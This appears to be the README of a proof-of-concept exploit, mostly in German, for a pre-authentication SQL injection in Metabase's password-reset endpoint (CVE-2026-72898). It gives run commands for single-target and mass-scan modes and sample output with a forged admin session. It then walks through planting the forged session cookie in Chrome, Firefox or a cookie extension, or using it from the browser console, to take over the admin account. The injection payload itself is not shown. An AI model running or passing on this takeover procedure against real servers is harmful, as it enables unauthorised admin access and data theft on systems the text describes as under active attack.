
Proof-of-Concept-Exploit für CVE-2026-72898, eine nicht authentifizierte SQL-Injection im Passwort-Reset-Endpunkt von Metabase. Erstellt eine Admin-Sitzung zur vollständigen Übernahme, mit Einzelziel- und Massen-Scan-Modi für autorisierte Tests.
Pre-Authentifizierungs-SQL-Injection in Metabase, die zur Admin-Übernahme führt
Proof-of-Concept für CVE-2026-72898, eine kritische, nicht authentifizierte SQL-Injection im Passwort-Reset-Endpunkt von Metabase. Der PoC injiziert eine gefälschte Admin-Sitzungszeile in die Tabelle core_session und verwendet sie anschließend, um eine vollständige Administrator-Sitzung ohne jegliche Anmeldedaten zu validieren.
Hinweis: Dieser PoC ist ausschließlich für autorisierte Sicherheitstests und Forschung gedacht. CVE-2026-72898 ist im Katalog der CISA Known Exploited Vulnerabilities (KEV) aufgeführt und wird derzeit aktiv in freier Wildbahn ausgenutzt. Sie sind dafür verantwortlich, alle geltenden Gesetze einzuhalten und vor dem Testen eines Systems eine schriftliche Genehmigung einzuholen.
requestsAbhängigkeiten installieren:
pip install requests
python cve-2026-72898_poc.py -t http://192.168.1.1:3000
python cve-2026-72898_poc.py -T targets.txt
CVE-2026-72898 | Metabase SQLi PoC
----------------------------------------
Target: http://192.168.1.1:3000
[1] GET http://192.168.1.1:3000/ -> 200
[2] POST /api/session/reset_password -> 400
(expected: Invalid reset token, SQLi executed)
[3] GET /api/user/current -> 200
[+] VULNERABLE
session id : 242x6a6cx-5388-aaf8-bl5c-afi46ic02198
key_hashed : 0f6005cbexf08948c08dd9272b439xfecwabxb4ntedd83bagb6337bx849b6xyi6
admin email: [email protected]
Ein 400 bei Schritt 2 mit Invalid reset token ist erwartet — er bedeutet, dass die SQLi-Payload ausgeführt und die Antwort kurzgeschlossen wurde. Schritt 3, der 200 auf /api/user/current zurückgibt, bestätigt, dass die gefälschte Sitzung gültig ist.
Ergebnisstatus: vulnerable | not_vulnerable | patched | root_not_200 | unknown | error
Metabase reads its session from the `metabase.SESSION` cookie, so you can log in to the web UI as the forged admin by adding that cookie:
**Google Chrome / Edge / Chromium**
1. Run the PoC and copy the printed `session id`
2. Open `http://TARGET/` and press `F12` (DevTools)
3. Go to **Application** (in Edge: **Application**; in Chrome: **Application**) → **Storage** → **Cookies** → select the target host
4. Click the **+** (Add cookie) button and fill in:
- **Name**: `metabase.SESSION`
- **Value**: `<SESSION_ID>` (the value printed by the PoC)
- **Domain**: the target host/IP (e.g. `192.168.1.1` or `.example.com`)
- **Path**: `/`
- Set an expiration far in the future (or click "Session")
5. Click **Save**, then refresh the page
6. You are now authenticated as the superuser — the admin gear icon will be visible
**Firefox**
1. Run the PoC and copy the printed `session id`
2. Press `F12` → **Storage** tab → **Cookies** → select the target host
3. Right-click → **Add/Edit Cookie** and add:
- **Name**: `metabase.SESSION`
- **Value**: `<SESSION_ID>`
- **Path**: `/`
- **HttpOnly**: unchecked (JS sets it)
- **Secure**: unchecked for plain HTTP
4. Save and refresh the page
**Alternative: cookie editor extension**
Use any cookie-editing extension (e.g. Cookie-Editor) to add the `metabase.SESSION` cookie with the forged value on the target domain, then refresh.
**From the browser console**
```js
fetch('/api/user/current', { headers: { 'X-Metabase-Session': '<SESSION_ID>' } })
.then(r => r.json()).then(console.log)
/api/session/reset_password auf der Netzwerk-/WAF-EbeneWenn Ihnen dieses Projekt geholfen hat, erwägen Sie, seine Entwicklung zu unterstützen:
TDCPYioWbZW4iyMCuHhJeFsUZJ88YqZWc1

0xf6eA555f95ed5b356fF7a90E6461EbBF6ce105cE

| Argument | Beschreibung | Standard |
|---|
-t, --target | Einzelne Ziel-URL | - |
-T, --targets | Datei mit Ziel-URLs, eine pro Zeile | - |
-o, --output | Ergebnisdatei (tabulatorgetrennt: target, result, status, session_id, admin_email) | - |
--timeout | Request-Timeout in Sekunden | 15 |